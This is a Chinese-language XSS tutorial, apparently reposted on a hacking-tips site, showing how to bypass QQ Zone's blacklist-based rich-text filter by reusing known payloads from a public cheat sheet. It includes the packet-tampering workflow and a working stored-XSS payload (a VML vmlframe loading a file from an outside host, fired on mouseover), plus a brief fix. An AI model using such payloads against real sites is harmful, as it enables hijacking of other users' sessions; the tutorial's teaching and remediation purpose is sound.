记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

那些年我们一起学XSS - 20. 存储型XSS入门 [套现绕过富文本]

2013-02-15 16:30
很多应用含有富文本内容,这类应用最典型的特征是具有编辑器,例如:博客日志,邮箱等。这类应用往往允许使用一定的HTML代码。为了在用户体验和安全之间寻找平衡,各种厂商可能采用了不尽相同的办法。但是总体来说,有2类。
 
第1类我们称为白名单,即:只允许使用白名单内的合法HTML标签,例如IMG。其它均剔除。例如:百度贴吧回帖时候的代码过滤方式。
第2类我们称为黑名单,即:厂商会构建一个有危害的HTML标签、属性列表,然后通过分析用户提交的HTML代码,剔除其中有害的部分。 如:QQ邮箱的发邮件时的过滤方式。
 
白名单要安全得多,而黑名单的方式则经常会被绕过。
 
绕过的技巧也有很多,我们可以从最没技术含量的开始说起!! 本节将以QQ空间/QQ校友的日志功能为例来说明,什么是“套现绕过富文本”!
 
注意:本节说的“套现”,不是与“钱”有关的;在这里的含义是:“套用现成的XSS代码”。

 
1. 新手平时测试XSS时,经常会用到<script>alert(1)</script>到处插入,看效果。
 
2. 这种做法,在某些反射型XSS,或者你运气好的时候,确实能碰到。但是如果拿到QQ空间日志里去插入。嗯,后果一定会很悲壮,被过滤的毛都没有了。。
 
3. 这是为什么呢?因为<script>在腾讯的黑名单中,被过滤是理所当然的。
 
4. 试想,如果我们找到一个不在腾讯黑名单中的XSS代码,岂不是就可以成功在日志里执行XSS了么?
 
5. 有的人会问了。。哪里去找啊?? 方法有2种:
 
5.1 你足够牛,自己去发现。
5.2 已经有大牛为我们准备了很好的资料,去里面翻。
 
6. 我不够牛,所以我只能去大牛的资料里翻咯。
 
这里我翻的是 @sogili 维护的 http://html5sec.org/ ,里面有很多哦
 
 
 
7. 然后我就开始按照下面的流程慢慢测试。
 
先进QQ空间,发表一个日志,然后编辑日志,同时抓包。
 
 
 
修改抓包内容后,这里修改的是日志内容。提交修改后的数据包!
 
然后我们来看看日志里的源代码里,我们提交的XSS代码是否被过滤。
 
 
 
8. 这里我们就不说失败的了,直接说成功的部分。
 
我们提交以下代码:
 
<vmlframe xmlns="urn:schemas-microsoft-com:vml" style="behavior:url(#default#vml);position:absolute;width:100%;height:100%" src="http://itsokla.duapp.com/shouzi.vml#xss"></vmlframe>
 
 
然后看看源代码的输出:
 
 
 
可以看到,这个XSS代码完全没过滤。
 
9. 我们可以看到XSS的效果。鼠标移到日志上,即会触发XSS代码。
 
 
 
10. 很简单,对吧? 但是有以下问题我们要注意!!
 
10.1 使用代码前,先自己在本地试下,是否能执行!搞清楚你所使用的XSS代码的原理是什么!
 
10.2 搞清楚XSS代码的适用范围:如:在什么浏览器的什么版本之下才能使用,是否需要用户交互等。
 
10.3 注意平时对此类代码的搜集与整理。
 
修复方案:
过滤 behavior, 和你们修复邮箱里相同问题的方法一样即可。
知识来源: www.2cto.com/Article/201302/188966.html

阅读:76341 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“那些年我们一起学XSS - 20. 存储型XSS入门 [套现绕过富文本]”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云